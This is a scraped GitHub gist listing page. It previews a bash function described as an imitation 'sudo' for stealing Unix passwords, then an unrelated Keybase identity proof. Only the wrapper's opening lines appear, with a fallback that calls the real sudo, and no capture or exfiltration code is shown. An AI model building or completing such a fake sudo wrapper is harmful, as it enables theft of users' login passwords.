Skip to content

Instantly share code, notes, and snippets.

@benbusby
benbusby / sudo
Last active April 15, 2020 16:43 — forked from tokyoneon/sudo
Imitation-sudo function for stealing Unix passwords
function sudo () {
realsudo="$(which sudo)"
# Skip altogether if $USER is not set for whatever reason
if [[ -z $USER ]];
then
$realsudo "${@:1}"
return
fi

Keybase proof

I hereby claim:

  • I am benbusby on github.
  • I am benbusby (https://keybase.io/benbusby) on keybase.
  • I have a public key ASDe1hdGHBxeIVohHshwGa0wudtHQG3aXZRZNbPdojcOYQo

To claim this, I am signing this object: